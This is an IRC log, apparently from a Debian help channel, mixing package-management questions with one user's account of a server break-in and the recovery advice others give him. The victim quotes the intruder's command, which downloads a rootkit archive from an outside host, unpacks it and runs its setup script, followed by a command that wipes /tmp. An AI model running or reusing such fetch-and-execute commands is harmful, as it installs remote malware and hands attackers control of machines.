| 11:39.16 | Kamping_Kaiser | ajavid: CIA stash. |
| 11:39.38 | missyjane | ajavid, im not high, im just happy things are going the way i want it to |
| 11:39.45 | szymon_g | i've got problem: i've edited /etc/apt/preferences (stable has the highest priority, 800, than backports 750 and testing repo 600), i did aptitude update, but when i try to install aptitude -t testing install <package> it installs it from lenny's repos, instead of testing |
| 11:40.07 | owner | how can i prevent these packages from being held / force them to upgrade and finish my dist-upgrade? http://pastebin.ubuntu.com/254481/ |
| 11:40.08 | missyjane | Kamping_Kaiser, i understand, i shall look into transfering those files onto another hard drive or media then |
| 11:40.09 | missyjane | ;) |
| 11:40.33 | Kamping_Kaiser | missyjane: good luck :) (try rsync) |
| 11:40.43 | joltcan | missyjane: you can also use the tedious task of moving/resizing, repeat until done |
| 11:40.43 | budo | is testing commented ? |
| 11:40.49 | missyjane | joltcan, done |
| 11:40.53 | missyjane | im trying to combine, thats ok really |
| 11:40.54 | themill | dpkg: tell owner about aptitude |
| 11:41.06 | missyjane | Kamping_Kaiser, i know :) im a mistress of my rsync |
| 11:41.32 | Kamping_Kaiser | missyjane: :o |
| 11:41.34 | ajavid | hey my heartburn is gone |
| 11:41.36 | ajavid | yay! |
| 11:41.40 | missyjane | good! |
| 11:41.44 | Kamping_Kaiser | \o/ |
| 11:41.52 | themill | owner: aptitude is the preferred tool for managing binary packages in debian. It is often able to fix situations like this where apt-get fails and it usually gives more informative output when things mess up. |
| 11:41.55 | ajavid | never again will i eat skittles before bed |
| 11:42.20 | abrotman | ajavid: don't you have somewhere else to ramble ? |
| 11:42.28 | crzedmonk | how do you enable all the repos for aptitude and sudo? |
| 11:42.42 | ajavid | crzedmonk, /msg dpkg non-free |
| 11:42.52 | ajavid | crzedmonk, add contrib and non-free to your sources.list |
| 11:42.55 | Kamping_Kaiser | and sudo? o_0 |
| 11:43.01 | crzedmonk | YAAY |
| 11:43.03 | ajavid | Kamping_Kaiser, ignore that bit |
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| 11:43.12 | crzedmonk | I love dpkg he is making me less stupid |
| 11:43.12 | crzedmonk | :D |
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| 11:44.27 | owner | themill: i have been trying to use aptitude, but i'm stuck here: http://pastebin.ubuntu.com/254484/. clearly some packages aren't happy since the dist-upgrade i was doing didn't finish properly. should i just run it again and force all? |
| 11:44.50 | crzedmonk | who is themill? |
| 11:45.03 | crzedmonk | he wants me to know alot through dpkg |
| 11:45.16 | Kamping_Kaiser | crzedmonk: a protrusion into this dimention by a vast pan dimentional being |
| 11:45.43 | crzedmonk | such a smart scamp! |
| 11:45.56 | themill | owner: btw why are you trying to run sid anyway if you have no idea how to solve these sorts of problems? And why did you jump from lenny to sid without going via squeeze? |
| 11:46.25 | budo | boy i which i knew how to write and develop software real well |
| 11:46.40 | budo | ill write a distro that actually makes SENSE |
| 11:46.51 | szymon_g | ... for you :) |
| 11:46.55 | Kamping_Kaiser | budo: to late, debian exists :( |
| 11:47.18 | budo | y have more than one name for a tool that does the same job ? |
| 11:47.24 | crzedmonk | Debian hurts me I am but an ubuntu noob trying to swim in a sea of debian |
| 11:47.26 | szymon_g | he wrote '(..) actually makes sense(..)' Kamping_Kaiser |
| 11:47.28 | szymon_g | ;) |
| 11:47.31 | Kamping_Kaiser | they are different tools? |
| 11:47.32 | crzedmonk | it hurts so good |
| 11:47.36 | Kamping_Kaiser | szymon_g: ;) |
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| 11:47.52 | Kamping_Kaiser | szymon_g: I put anything i don't understnad down to human error. |
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| 11:48.10 | szymon_g | crzedmonk: what is so 'hurting'? moving from ubuntu > debian testing/stable doesn't hurt |
| 11:48.18 | budo | no, i'm perfect at actually making sense to people. very intuitive and logical and consistent |
| 11:48.34 | petemc | humble, too |
| 11:48.35 | budo | scratch perfect, i'm good at it |
| 11:48.47 | crzedmonk | well it is mean hurting I guess |
| 11:48.52 | owner | themill: the fact that i was stuck with packages 2+ years old wasn't doing it for me on this desktop box. i'm sure i could figure out a way to not that i wouldn't figure out how to fix this, i'm just seeing if there's anyone kind enough to help so that i don't end up losing anything |
| 11:48.54 | crzedmonk | I am trying to do more with bash this time around |
| 11:49.09 | crzedmonk | I like ubuntu but it is so keen it talks me out of learning linux |
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| 11:49.23 | crzedmonk | I like debian though |
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| 11:49.29 | crzedmonk | lenny is nice less options |
| 11:49.39 | crzedmonk | I am just having flash issues which is known |
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| 11:49.41 | crzedmonk | oh well |
| 11:49.42 | owner | themill: read: i'm not exactly sure what i'm doing but like debian way more than ubuntu... |
| 11:49.43 | szymon_g | :? 'less options'? |
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| 11:50.00 | szymon_g | crzedmonk: flash works fine on lenny |
| 11:50.11 | crzedmonk | so I hear |
| 11:50.15 | crzedmonk | so I hear |
| 11:50.18 | szymon_g | i.e. it doesn't work in worse way than on other distros |
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| 11:50.24 | themill | crzedmonk: did you follow what dpkg told you about installing flash? |
| 11:50.41 | szymon_g | its in backports, flashplugin-nonfree |
| 11:50.48 | szymon_g | it installs really nice |
| 11:50.58 | themill | owner: you should be trying to run testing not unstable. And you really need to read up on how to use aptitude to manage packages. (Plus lenny is perfect for a desktop system -- it's not *that* old and it's well tested which is preferable to shiny new broken stuff) |
| 11:51.13 | craigevil | !sns |
| 11:51.13 | dpkg | i guess sns syndrome is a serious disorder otherwise known as Shiny New Shit Syndrome usually breaks out into an epidemic every time something new is released. Slashdot readers are more likely than others to contract the condition. |
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| 11:52.15 | szymon_g | themill: +1. testing is still a bit to unstable for someone new (afaik) |
| 11:52.41 | szymon_g | craigevil: :O |
| 11:52.44 | budo | crzedmonk: did you install both your browser and flash from debian repositories or did you download either one from somewhere else ? |
| 11:53.06 | crzedmonk | aptitude |
| 11:53.09 | themill | szymon_g: personally, testing is too much of a moving target for me to bother with it on systems that I want to use as opposed to tinker with |
| 11:53.13 | budo | and my manuals and installation instructions will be written better too : ) |
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| 11:53.37 | budo | everything will be less confusing: software and manuals |
| 11:53.45 | craigevil | budo: a mentally challenged person could follow the debian install guide |
| 11:53.52 | themill | budo: send patches. /msg dpkg reportbug |
| 11:54.33 | crzedmonk | what is the best window manager in your opinion awesome? |
| 11:54.44 | budo | not really craigevil |
| 11:54.52 | craigevil | crzedmonk: try a clean iceweasel profile , maybe something in your existing profile is corrupt |
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| 11:54.58 | szymon_g | themill: wright. although, after being frozen, it's usable (i.e. for someone who doesn't want to spend a lot of time on configuration/bugfighting) |
| 11:55.06 | Abo | hey guys, I have a problem.. |
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| 11:55.12 | craigevil | budo: my 10 yr old managed to install lenny on his desktop |
| 11:55.14 | szymon_g | hi Abo |
| 11:55.24 | Abo | last night someone (dont ask me how) changed my root password, I dont know how he was able to do so |
| 11:55.32 | Abo | and I dont know what he messed up inside my server |
| 11:55.40 | crzedmonk | good idea |
| 11:55.43 | budo | i think people say its so easy when they are looking from the perspective with the added "years of experience" in the back of their head |
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| 11:55.45 | joltcan | Abo: reinstall? |
| 11:55.50 | Abo | I managed to manually boot and change the password, but I dont know what to check for |
| 11:55.54 | owner | themill: that's what i've realised, but now i'm sitting here with this semi-broken box and have no clue how to go about fixing it. should i just reinstall then? and yes, some packages ARE that old, i've been working on a piece of software recently that requires the latest 1.0+ version of vlc and the one in lenny's repos dates back to Nov '07. |
| 11:56.03 | Abo | joltcan.. cant reinstall I have a lot of stuff in |
| 11:56.07 | joltcan | Abo: check /root/.bash_history and see if htere are any clues |
| 11:56.12 | petemc | Abo: you cant trust anything |
| 11:56.29 | budo | craigevil, yes but did your 10 year old manually partition the hard drive the way they wanted it to? |
| 11:56.35 | budo | i doubt they did |
| 11:56.40 | Abo | this is what I see: wget www.freewebtown.com/flav8/rk.tar;tar zxvf rk.tar;cd shv5;chmod +x *;./setup flaviu4you 6969 |
| 11:56.46 | Abo | cd /tmp;rm -rf * |
| 11:56.52 | Abo | last lines which were not used by me |
| 11:56.54 | craigevil | budo: he installed over xp using the text installer |
| 11:56.55 | joltcan | Abo: like petemc said, you cant be sure. save the package list, copy /etc, /home and /var and reinstall |
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| 11:57.33 | budo | anyone can install just by selecting the "defaults", you are correct |
| 11:57.37 | Abo | joltcan, what if I reinstall and he does that again |
| 11:57.42 | Abo | how the phuck he got in |
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| 11:57.52 | themill | owner: for future reference, you can always backport software, and things like vlc backport quite easily. /msg dpkg backport. For the time being, try changing "unstable" to "squeeze" in your sources.list and then "aptitude update && aptitude full-upgrade" and we'll see where we end up |
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| 11:58.04 | budo | but as adults, you know we like to have stuff a certain way and are likely to ask more questions and want more options |
| 11:58.09 | joltcan | Abo: so some rootkit were probably installed. Depending on which it might be impossible to find it by using regular commands. Boot with a rescue CD and see if you can find anything obvious running |
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| 11:58.37 | petemc | budo: dont sit here and talk about how great your new distro is going to be, just go ahead and create it |
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| 11:58.47 | joltcan | Abo: Well, I have no idea of what your system is/does, if it was updated, if he/she had an account or whatnot |
| 11:59.01 | budo | right. i am. |
| 11:59.07 | petemc | good luck! |
| 11:59.19 | owner | themill: thanks, appreciate that.. |
| 11:59.59 | budo | like they say, "if you don't like something, do it yourself". and i'm choosing to do it myself, instead of waiting for others to do it "how it should be done" |
| 12:00.01 | themill | budo: alternatively, you could do something more useful and help improve an existing distro. |
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| 12:00.26 | craigevil | making another distro to go with the thousands already out there is silly |
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| 12:00.46 | craigevil | better to find a distro you like and contribute to it |
| 12:01.12 | szymon_g | hm... does debian/dpkg has something like rpm's "set default ownership/groupownership/rights to all files installed from packages" |
| 12:01.24 | szymon_g | just in case of break-in? |
| 12:01.41 | szymon_g | (so someone could set again defaults rights to files/executables etc) |
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| 12:03.16 | Abo | I really dont know what to do |
| 12:03.24 | Abo | any security measures I should take? |
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| 12:03.31 | Abo | ot that I can take |
| 12:03.43 | craigevil | Abo: thers no way to be sure you can clean everything, better to backup what you need and reinstall |
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| 12:04.08 | Abo | craigevil, and if I backup, reinstall and he does it again |
| 12:04.13 | Abo | how many times I do that |
| 12:04.13 | szymon_g | Abo: how this guy get into your box? ssh? |
| 12:04.18 | Abo | what can I do to stop the fucker |
| 12:04.27 | Abo | I have NO clue |
| 12:04.32 | szymon_g | did you looked on logs? |
| 12:04.33 | Abo | I never give out passwords |
| 12:04.38 | Abo | he removed the shit out of logs |
| 12:04.47 | szymon_g | 1. don't use passwords, use certificates |
| 12:05.00 | szymon_g | 2. move ssh from default port into something like 4535 |
| 12:05.01 | Abo | I pasted above the last two commands from him |
| 12:05.11 | Abo | last one was removing /tmp/* |
| 12:05.18 | Abo | I wasnt using 22!! |
| 12:05.27 | Abo | how do I use certificates |
| 12:05.32 | craigevil | better firewall, run ssh on a different port, disable remote root logins, use singature/certs not password |
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| 12:05.58 | craigevil | !harden |
| 12:05.59 | dpkg | harden is, like, D:SbD or http://d-sbd.alioth.debian.org/ or read http://www.debian.org/doc/manuals/securing-debian-howto/ or ask me about <security> <security backports> <tracker of doom> |
| 12:06.28 | Abo | now when I do ls on the machine I get: ls: unrecognized prefix: do ls: unparsable value for LS_COLORS environment variable |
| 12:06.29 | Abo | wtf.. |
| 12:06.50 | abrotman | abo: your machine has been comrompised .. disconnect it from the internet, reinstall, and restore from a known good backup |
| 12:06.51 | Abo | how do I use certificates |
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| 12:07.18 | Abo | abrotman, the ls problem was after I noticed he got in last night, I just noticed, didnt happened now |
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| 12:07.38 | szymon_g | Abo: google for it. it's not so hard to find :~ (and you will probably get more info about it than now on irc) |
| 12:07.43 | Abo | I changed the root password right now manually without it being pluggin into net |
| 12:07.54 | Abo | plugged |
| 12:07.56 | abrotman | abo: your machine has been comrompised .. disconnect it from the internet, reinstall, and restore from a known good backup |
| 12:08.08 | abrotman | you cannot trust *anything* on the machine |
| 12:08.15 | Abo | abrotman, and how can I be sure this wont happen again if I do that? |
| 12:08.26 | petemc | you cant ever be 100% sure |
| 12:08.33 | szymon_g | Abo: can someone log into root account from ssh? or did you disabled this option? |
| 12:08.36 | abrotman | unless you know how it happened in the first place ... |
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| 12:09.01 | Abo | szymon_g, you can login from ssh |
| 12:09.03 | Abo | I mean via ssh |
| 12:09.24 | Abo | I setup permitrootlogin to yes |
| 12:09.26 | szymon_g | Abo: yeah. but something like that should be disabled |
| 12:09.32 | abrotman | just get the damn thing off the internet |
| 12:09.45 | Abo | ALREADY did so |
| 12:10.00 | Abo | hah |
| 12:10.07 | Abo | I changed my ssh port |
| 12:10.13 | Abo | but it remains the same |
| 12:10.19 | abrotman | Abo: now go find your installation media and your backups |
| 12:10.23 | joltcan | Abo: then it might just be a crappy password from the beginning, people portscan so the port doesn't really matter |
| 12:10.46 | petemc | well, not using standard ports can somewhat mitigate the automated attacks |
| 12:10.46 | tuantub | Abo: after re-configuring sshd you may restart it to take effect ;) |
| 12:10.53 | themill | !compromised system |
| 12:10.53 | dpkg | In case of a system compromise: 1) take the system offline/shut it down 2) backup the data and analyze the intrusion (eg. via a live CD) 3) reinstall with all security patches, disable unnecessary services and DO NOT TAKE IT BACK ONLINE UNTIL THE ORIGINAL EXPLOIT PATH HAS BEEN FIXED. Ask me about <system compromise recovery> for a detailed document. Ask me about <compromise check> for how to inspect a running system. |
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| 12:11.09 | Abo | tuantub.. I think I know that |
| 12:11.27 | Abo | joltcan.. yea |
| 12:11.42 | themill | Abo, tuantub: you shouldn't be bothering with ssh settings until you've reinstalled |
| 12:12.01 | Abo | yeah |
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| 12:13.18 | Abo | what the phuck is this process about?!?! www-data 9700 0.0 0.0 3648 1420 ? S 15:11 0:00 ssh -q -i /usr/local/gcp/primary/82.77.65.174 -f -o NumberOfPasswordPrompts=0 -o ConnectTimeout=1 -o PasswordAuthentication=no -o StrictHostKeyC |
| 12:13.43 | Abo | reinstalling. |
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| 12:18.08 | Abo | what is shv5? |
| 12:18.41 | Abo | I found out what he installed |
| 12:19.04 | Abo | he got this shit package: www.freewebtown.com/flav8/rk.tar |
| 12:19.10 | Abo | I downloaded to look inside it |
| 12:19.35 | szymon_g | bye |
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| 12:22.39 | owner | themill: finished fine. going for a reboot... should i check something 1st? |
| 12:23.19 | owner | themill: for instance, i have no gedit. |
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| 12:30.20 | ajavid | ok, closing bug |
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| 12:37.08 | Abo | guys |
| 12:37.08 | anipy | i got a kernel panic (aiee no syncing) on a debian 5 (amd64), with both, 2.6.24-19 and 2.6.26-2, but i couldn't see the complete error on the screen. /var/log/dmesg does not contain the kernel panic error. in which log file can i find more information for debugging? |
| 12:37.11 | Abo | this is what he installed |
| 12:37.13 | Abo | on my machine |
| 12:37.13 | Abo | shv5-rootkit |
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| 12:37.55 | _AnywhereIs_ | wow lul rootkits FTW |
| 12:37.55 | Titan8990_ | anipy, that is often the sign of a failing memory stick |
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| 12:38.09 | _AnywhereIs_ | can you drop it to me please Abo? |
| 12:38.12 | Titan8990_ | anipy, run memtest on a single stick at a time for a few hours |
| 12:38.18 | anipy | the complete message was: "Kernel panic - not syncing: Aiee, killing interrupt handler" |
| 12:39.18 | bleah | leaving . |
| 12:39.20 | anipy | Titan8990_: thanks for the hint. the strange thing is that it did happen right after installing debian 5, before that we had ubuntu server 8.04 (64bit) on it. |
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| 12:42.24 | nima0102 | hi |
| 12:42.42 | nima0102 | I want to upgrade my debian server to lenny |
| 12:43.19 | Fox_1_ | hi all |
| 12:43.36 | nima0102 | in procedure upgrade mysql server,may databases or tables are corrupted ?? |
| 12:43.45 | abrotman | nima0102: do a backup first? |
| 12:43.48 | nima0102 | I want to upgrade my debian server to lenny, in procedure upgrade mysql server,may databases or tables are corrupted ?? |
| 12:43.53 | Titan8990_ | nima0102, always backup |
| 12:43.55 | Fox_1_ | people I want to create DICT file. is there any application that will help me to create DICT file and fill database? |
| 12:43.56 | nima0102 | abortman: yep. |
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| 12:44.54 | Titan8990_ | !tell nima0102 about etch->lenny |
| 12:45.31 | nima0102 | abortman: thanks, I have backup, but I want to know percentage of failing in upgrade.thanks |
| 12:45.56 | straw | I have problems with a certain driver, i915. powertop says it's the top wakeup reason (99,5%, 62000 interrupts).. that's not normal. My laptop consumes 17,6W with i915 and 11W with VESA. Any idea what that could be? Or to whom I could speak to? |
| 12:46.31 | straw | http://kuku.sanctioned.de/screens/pt.png |
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| 12:48.07 | adb | try "intel" instead "i915" .. |
| 12:48.59 | straw | Hmm? I use 'intel' in xorg.conf, of course. |
| 12:49.19 | Fox_1_ | ? |
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| 12:49.30 | abrotman | nima0102: i've only had one large issue, and it was my fault. |
| 12:49.45 | nima0102 | abortman: what fault?? |
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| 12:50.30 | RoyK | hi all. where can I download Sarge for i386 DVD images? |
| 12:50.32 | abrotman | nima0102: i didn't read something carefully enough .. it wasn't anything to do with mysql |
| 12:50.32 | nima0102 | what difference is between aptitude and apt ?? |
| 12:50.37 | abrotman | !why aptitude |
| 12:50.37 | dpkg | aptitude has more advanced conflict/dependency resolution than other tools, it has far more advanced searching available, and will automatically uninstall unneeded dependencies, read /usr/share/doc/aptitude/README for more info. Aptitude can also remove or purge one package at the same time as installing others all from the command line, making it much easier to recover from broken dependencies. |
| 12:50.41 | abrotman | !tell RoyK about cd archive |
| 12:50.49 | abrotman | and sarge probably didn't have DVD images ? |
| 12:51.07 | giso | hi there, does anyone know what can mean if ata/0 process is showing up in top, my server has a high load |
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| 12:51.18 | nima0102 | <PROTECTED> |
| 12:51.19 | dpkg | aptitude has more advanced conflict/dependency resolution than other tools, it has far more advanced searching available, and will automatically uninstall unneeded dependencies, read /usr/share/doc/aptitude/README for more info. Aptitude can also remove or purge one package at the same time as installing others all from the command line, making it much easier to recover from broken dependencies. |
| 12:51.28 | nima0102 | <PROTECTED> |
| 12:51.42 | straw | Don't do that. |
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| 12:52.51 | abrotman | nima0102: once was enough |
| 12:53.02 | RoyK | nima0102, abrotman thanks |
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| 12:55.21 | nima0102 | abortman: thanks for your guidance :) |
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| 12:56.12 | nima0102 | abortman: another question about apache,after upgrade old configs is used ??? |
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| 12:56.47 | abrotman | apache1 or apache2? |
| 12:56.55 | nima0102 | abortman: apcahe2 |
| 12:57.00 | abrotman | should be |
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| 12:57.59 | nima0102 | abortman: then after upgrade I do not need to change any config file, do i? |
| 12:58.25 | abrotman | ideally |
| 12:58.34 | Titan8990_ | dpkg has a diff system that will compare significantly changed configs |
| 12:58.34 | dpkg | Titan8990_: You are person #1 to send an unparseable request |
| 12:58.35 | nima0102 | abortman: thanks a lot ;) |
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| 13:01.35 | ycat | I manually deletet my apache2's init script; is there a way to reinstall it? i tried apt-get install apache --reinstall without success... |
| 13:02.52 | themill | dpkg: tell ycat about confmiss |
| 13:03.02 | abrotman | and you want apache2.2-common |
| 13:03.06 | themill | ycat: it's in the apache2.2-common package anyway |
| 13:03.14 | ycat | thanks |
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| 13:05.58 | Fox_1_ | people I couldn't find DICT file format specifications? does anyone have it and can send to me? |
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| 13:14.53 | Abo | how do I backup all users added on my machine? |
| 13:14.57 | Abo | I mean I saved all their data |
| 13:15.07 | Abo | but I want to save the added users and restore on a new install |
| 13:15.10 | Abo | can I do that? |
| 13:15.56 | Abo | is 5.2 safer than 4.2? :) |
| 13:16.05 | markybob | Abo, save /etc/passwd /etc/shadow and /etc/group |
| 13:16.11 | Abo | k |
| 13:16.35 | Abo | I used to install 4.0 |
| 13:16.40 | Abo | should I move to 5? |
| 13:16.53 | straw | Maybe a script which parses passwd for all users with an UID >= 1000 and checks their home dir field + mkdir |
| 13:17.19 | straw | (and group stuff) |
| 13:17.23 | petemc | Abo: you'll have to move to 5 at some point anyway if you want to continue to receive security updates |
| 13:17.50 | Abo | I'll install 5 |
| 13:18.01 | petemc | thats the spirit |
| 13:18.03 | Abo | does 5 support more drivers? like marvell |
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| 13:18.15 | Abo | atheros? |
| 13:19.04 | petemc | it supports whatever the linux kernel supports |
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| 13:21.05 | Abo | whats the default kernel which comes with 5 installation |
| 13:21.10 | petemc | 2.6.26 |
| 13:21.11 | Abo | a default install |
| 13:21.17 | SPF | what's the best method to erase your hdd? with dd if=/dev/zero ? |
| 13:21.23 | Abo | and whats the newest release I can use there? |
| 13:21.28 | Abo | I mean latest |
| 13:21.29 | SPF | anf fastest method |
| 13:21.36 | SlayerXP | reminds me, I need to file a bug for the netboot tarballs, they don't contain the right gpg keys |
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| 13:21.43 | petemc | Abo: you can use backported kernels if you require something more recent |
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| 13:22.23 | SlayerXP | spf: do you want to erase your hard drive? or do you want it to trivially appear as though it has been erased? |
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| 13:22.50 | MikeSeth | realtek 8168 is causing trouble.. anyone found a fix for the driver mixup? |
| 13:23.06 | SPF | SlayerXP: in such way that it's unrecoverable but reusable |
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| 13:23.12 | SPF | like format /u |
| 13:23.23 | SlayerXP | spf: no such thing. |
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| 13:23.42 | petemc | dban is a useful bootdisk for such things |
| 13:23.42 | SlayerXP | spf: for "probably not recoverable by normal humans", google "dban" |
| 13:23.49 | petemc | *bam* |
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| 13:26.22 | steven43126 | SPF dd should do the trick, especially if it's what you have to hand.. |
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| 13:28.02 | abrotman | !dban |
| 13:28.02 | dpkg | Darik's Boot and Nuke ("DBAN") is a self-contained boot floppy/CD that securely wipes the hard disks of most computers (x86, x86-64, powerpc). DBAN will automatically and completely delete the contents of any hard disk that it can detect, which makes it an appropriate utility for bulk or emergency data destruction. http://www.dban.org/faq |
| 13:28.15 | petemc | steven43126: not if the trick is to have the data there unrecoverable it wont |
| 13:28.29 | steven43126 | petemc: it will |
| 13:28.31 | oreo | I need help; I'm getting: "net.ipv6.conf.all.forwarding" is an unknown key |
| 13:28.36 | abrotman | steven43126: not just one pass it won't |
| 13:29.01 | petemc | steven43126: your definition of unrecoverable must be different from mine |
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| 13:29.21 | steven43126 | there was a study recently with several drives blanked "in a single pass" these were sent to seveal professional data recovery agencies who were unable to recover the data |
| 13:29.27 | Fujk | how do I find out what network encryption my wireless card supports? |
| 13:29.39 | abrotman | steven43126: any or all? |
| 13:29.52 | petemc | steven43126: that doesnt sound very scientific to me |
| 13:29.59 | Trewas | unless some three-letter-agency is after your data, writing zeros once to the drive will be very much enough |
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| 13:30.11 | steven43126 | yes it's possible using dodgy methods "due to tracks writing data slightly off target on different passes so you can see the previous magentic track underneath |
| 13:30.12 | abrotman | Trewas: aren't they always ... |
| 13:30.19 | petemc | steven43126: also, i have emperical evidence in that i have recovered files from such a scenario |
| 13:30.38 | steven43126 | petemc: how ? |
| 13:30.42 | petemc | ontrack |
| 13:30.58 | steven43126 | petemc: what evidence |
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| 13:31.01 | EmleyMoor | Fujk: As a rule it will support anything, if the driver is native... |
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| 13:31.07 | abrotman | thinks petemc is the gov't |
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| 13:31.10 | petemc | steven43126: thats a stupid question, the files |
| 13:31.10 | steven43126 | i'm genuinely interesssted :) |
| 13:31.14 | abrotman | steven43126: uhm .. he got the data back ? |
| 13:31.32 | steven43126 | sorry what methods were used ? |
| 13:31.33 | abrotman | EmleyMoor: not always .. i have a card that doesn't do WPA (the hardware) |
| 13:31.39 | petemc | ontrack raw recovery |
| 13:31.41 | abrotman | steven43126: he already told you ... |
| 13:31.49 | Owner | i have downgraded to squeeze after an unsuccessful upgrade from lenny to sid (i know, lesson learned..). System' |
| 13:31.57 | Fujk | EmleyMoor: I had problems with WPA or something when I first ran with it, so I had to go with WEP.. but I'd like to try again. It's a Dell laptop so I donno if anything is really native.. |
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| 13:32.06 | yac_ | hai |
| 13:32.08 | abrotman | Fujk: which chipset ? |
| 13:32.22 | steven43126 | petemc: how is this done? how do you image the drive ? |
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| 13:32.42 | EmleyMoor | Fujk: Which wireless card does it have? |
| 13:32.47 | oreo | I need help; I'm getting: "net.ipv6.conf.all.forwarding" is an unknown key |
| 13:32.52 | petemc | steven43126: you're free to read up on ontrack, you can also warez a copy quite easily if you want to try yourself |
| 13:32.56 | yac_ | i am trying to install virtualbox, im running nvidia kernel 2.6.26-2-amd64 and i wonder what causes aptitude to trying to install virtualbox-ose-modules-2.6.30-1-amd64 |
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| 13:34.00 | steven43126 | petemc: ontrack is software not a method ? |
| 13:34.02 | yac_ | oh, it seems like that virtualbox packages for 2.6.26 has been removed |
| 13:34.03 | Titan8990_ | yac_, the vboxdrv module is required to run vbox |
| 13:34.07 | steven43126 | googling now |
| 13:34.16 | yac_ | Titan8990_: yeah, but the kernels arent mathicng |
| 13:34.27 | Titan8990_ | yac_, your mixing releases |
| 13:34.30 | abrotman | yac_: uname -a ? |
| 13:34.45 | abrotman | yac_: aptitude install linux-image-686 |
| 13:34.49 | yac_ | uname -r; 2.6.26-2-amd64 |
| 13:34.59 | abrotman | erm |
| 13:34.59 | petemc | steven43126: i dont have much of a desire to continue this conversation, but i will point out that secure methods of erasing wouldnt exist if data recoverable was not only possible but quite easy, even if the data has been written over 2 or 3 times |
| 13:35.01 | abrotman | yac_: aptitude install linux-image-amd64 |
| 13:35.13 | abrotman | yac_: use the second command .. nto the first |
| 13:35.45 | Fujk | abrotman: Network controller: Intel Corporation PRO/Wireless 4965 AG |
| 13:35.51 | yac_ | abrotman: how is that different from the nvidia-kernel? |
| 13:36.33 | abrotman | or ignore me .. have fun |
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| 13:38.00 | yac_ | abrotman: why do you feel offended? i just asked how is it different |
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| 13:38.09 | abrotman | try it and see ? |
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| 13:38.35 | Fujk | iwl4965 driver |
| 13:38.37 | yac_ | i will, but i'd like to keep the optimized nvidia kernel |
| 13:38.57 | abrotman | yac_: you'll have to choose what you want i guess |
| 13:39.12 | yac_ | oh i have installed linux-image-2.6.30-1-amd64, dunno why but i guess thats what is causing my problem |
| 13:39.12 | abrotman | Fujk: i'd imagine that supports WPA |
| 13:39.34 | yac_ | abrotman: i guess i can also build the module for nvidia kernel manually, right? |
| 13:39.35 | Owner | is there a way i can use aptitude to reinstall all the currently installed packages AND their dependencies? |
| 13:39.43 | abrotman | yac_: i don't use nvidia .. |
| 13:39.51 | abrotman | !tell Owner about reinstall |
| 13:39.51 | yac_ | ok, thanks |
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| 13:41.11 | nium-_ | No midori package for Lenny? |
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| 13:41.36 | nicolason544 | ciao |
| 13:41.41 | abrotman | nium-_: don't think so |
| 13:41.42 | Titan8990_ | midori is not available in many distros because of security flaws |
| 13:41.55 | nicolason544 | cosa devo fare |
| 13:41.55 | abrotman | judd? |
| 13:42.04 | abrotman | nicolason544: engilsh please |
| 13:42.07 | nium-_ | Titan8990, where can I read more about those security flaws? |
| 13:42.43 | nicolason544 | !addon |
| 13:43.39 | abrotman | nicolason544: do you need help? |
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| 13:44.09 | Titan8990_ | nium-_, you know, i am actually not sure now because I see that it was taken off of the "marked for removal" list in gentoo |
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| 13:44.57 | abrotman | http://packages.debian.org/search?keywords=midori |
| 13:45.18 | abrotman | new packages have been uploaded in debian |
| 13:45.32 | nium-_ | so no lenny packages :\ |
| 13:47.06 | nium-_ | Guess i'll have to get squeeze. |
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| 13:47.32 | abrotman | or use a different browser |
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| 13:48.15 | nium-_ | abrotman, pardon my ignorance, linux noob here, but what prevents me from downloading the latest midori release from its own site and installing it on debian? |
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| 13:49.00 | petemc | nium-_: nothing, you just lose the advantages a packaging system provides when you do that |
| 13:49.18 | petemc | well, you might also need some development libraries that arent available in stable |
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| 13:49.37 | nium-_ | I see. |
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| 13:52.06 | Abo | are there any security measures we should take |
| 13:52.13 | beardy | For? |
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| 13:52.22 | Abo | to avoid hackers or how are they called to get into our machines |
| 13:52.25 | Abo | like it happened to me today |
| 13:52.35 | Abo | fucker installed a rootkit there even changed my root password |
| 13:52.39 | beardy | Hmm, in general you mean? |
| 13:52.49 | beardy | Abo: Ok. What does the machine run, what is it used for? |
| 13:52.58 | beardy | Abo: Do you know how it happened? |
| 13:52.59 | Abo | I use a different ssh port than 22, I also disabled permitrootlogin |
| 13:53.09 | Abo | I have no clue how he did it |
| 13:53.13 | beardy | Abo: I bet you run a webserver on it? |
| 13:53.14 | Abo | how can he do that? |
| 13:53.17 | Abo | I do |
| 13:53.19 | Abo | apache2 |
| 13:53.26 | beardy | Abo: With some php things? |
| 13:53.29 | Abo | yes |
| 13:53.33 | Abo | with php5 |
| 13:53.35 | beardy | Abo: Care to share what you run exactly? |
| 13:53.39 | Abo | beardy |
| 13:53.55 | Abo | yes, I run apache2+php5 with zend optimizer and ioncube loaders |
| 13:53.59 | Abo | to host game server |
| 13:54.12 | Abo | practiaclly on the webserver was running only gamecp |
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| 13:54.16 | Abo | www.gamecp.com |
| 13:54.36 | beardy | Abo: Because that's a very likely vuinerable thing. Unmaintained/badly written php code, that is exploited. |
| 13:54.37 | Abo | I am currently backing up my things and I will reinstall |
| 13:54.43 | beardy | Abo: Sounds good. |
| 13:54.44 | Abo | I will install 5.0 not 4 this time |
| 13:54.56 | Abo | but I wonder if he will do that again |
| 13:54.57 | Abo | wtf can I do? |
| 13:55.05 | beardy | Abo: It's more important to look over what php code you host. |
| 13:55.16 | Abo | beardy gamecp is fully zended |
| 13:55.26 | beardy | Abo: Zended? |
| 13:55.29 | Abo | I pay for that shit |
| 13:55.29 | Abo | yeah |
| 13:56.39 | beardy | Abo: Before you reinstall have a good look at what services you are running, which ports you use, if you use anything not packaged in Debian, and like I said again, which things you host on your webserver. |
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| 13:57.00 | Abo | all packages are installed by debian |
| 13:57.01 | beardy | Abo: What does zended mean? |
| 13:57.29 | Abo | coded I mean when you open a php file from that gamecp its coded, messy chars inside |
| 13:57.39 | petemc | its obfuscation of php code |
| 13:57.40 | Abo | thats what zend stands for.. thats what it does |
| 13:57.42 | Abo | crypted |
| 13:57.45 | Abo | or whatever its called |
| 13:57.52 | beardy | I see. |
| 13:58.03 | beardy | I don't see the point really.. but alright. |
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| 13:58.13 | petemc | its not a security feature as much as its to allow people to sell php products without revealing the code |
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| 13:58.26 | beardy | petemc: Sounds like it. |
| 13:58.46 | petemc | thats exactly what it is, a client of mine runs a php site thats 'zended' |
| 13:58.50 | petemc | its a pain in the hole |
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| 13:59.14 | beardy | It's security by obscurity in it's worst form, it seems.. |
| 13:59.20 | petemc | Abo: the best form of security is to have your systems set up and maintained by someone who knows what they're doing |
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| 13:59.48 | beardy | Abo: You see, if you, or others can't see the code.. there might we thousands of security holes.. |
